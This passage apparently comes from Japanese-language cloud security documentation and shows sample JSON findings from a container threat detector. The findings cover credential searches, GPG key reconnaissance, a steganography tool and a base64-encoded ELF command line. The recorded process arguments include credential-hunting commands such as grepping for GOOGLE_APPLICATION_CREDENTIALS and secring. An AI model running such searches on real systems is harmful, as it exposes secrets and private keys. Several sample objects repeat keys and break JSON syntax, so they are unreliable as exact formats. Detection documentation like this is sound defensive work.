          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_steganography_tool_detected"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1001/002/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

認証情報アクセス: Google Cloud 認証情報の検索

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Credential Access: Find Google Cloud Credentials",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "CREDENTIAL_ACCESS",
      "primaryTechniques": [
        "UNSECURED_CREDENTIALS",
        "PRIVATE_KEYS"
      ]
      "additionalTactics": [
        "COLLECTION",
        "DISCOVERY"
      ]
      "additionalTechniques": [
        "AUTOMATED_COLLECTION",
        "CREDENTIALS_FROM_PASSWORD_STORES",
        "BASH_HISTORY"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/bin/grep\"",
          "size": "219456",
          "sha256": "c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f",
          "hashedSize": "219456",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"grep\"",
          "\"GOOGLE_APPLICATION_CREDENTIALS\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_find_gcp_credentials"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0006/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

認証情報アクセス: GPG キーの偵察

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Credential Access: GPG Key Reconnaissance",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "CREDENTIAL_ACCESS",
      "primaryTechniques": [
        "UNSECURED_CREDENTIALS",
        "PRIVATE_KEYS"
      ]
      "additionalTactics": [
        "DISCOVERY",
        "RECONNAISSANCE"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/bin/grep\"",
          "size": "219456",
          "sha256": "c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f",
          "hashedSize": "219456",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"grep\"",
          "\"secring\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_gpg_key_reconnaissance"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0006/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

認証情報アクセス: 秘密鍵またはパスワードの検索

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Credential Access: Search Private Keys or Passwords",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-search-private-keys-or-passwords-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_search_private_keys_or_passwords"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

防御回避: コンテナでのコード コンパイラ ツールの起動(プレビュー

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Defense Evasion: Launch Code Compiler Tool In Container",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "DEFENSE_EVASION",
      "primaryTechniques": [
        "OBFUSCATED_FILES_OR_INFO"
      ],
      "additionalTactics": [
        "RESOURCE_DEVELOPMENT",
        "EXECUTION",
        "CREDENTIAL_ACCESS"
      ],
      "additionalTechniques": [
        "STAGE_CAPABILITIES",
        "SOFTWARE_DEPLOYMENT_TOOLS",
        "UNSECURED_CREDENTIALS"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-launch-code-compiler-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_launch_code_compiler_tool_in_container"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1027/004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

防御回避: Base64 ELF ファイルのコマンドライン

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Defense Evasion: Base64 ELF File Command Line",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "DEFENSE_EVASION",
      "primaryTechniques": [
        "OBFUSCATED_FILES_OR_INFO",
        "DEOBFUSCATE_DECODE_FILES_OR_INFO"
      ],
      "additionalTactics": [
        "EXECUTION"
      ],
      "additionalTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER",
        "UNIX_SHELL"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/usr/bin/base64\"",
          "size": "39096",
          "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",
          "hashedSize": "39096",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"base64\"",
          "\"-d\"",
          "\"f0VMRgIB\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "MEDIUM",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
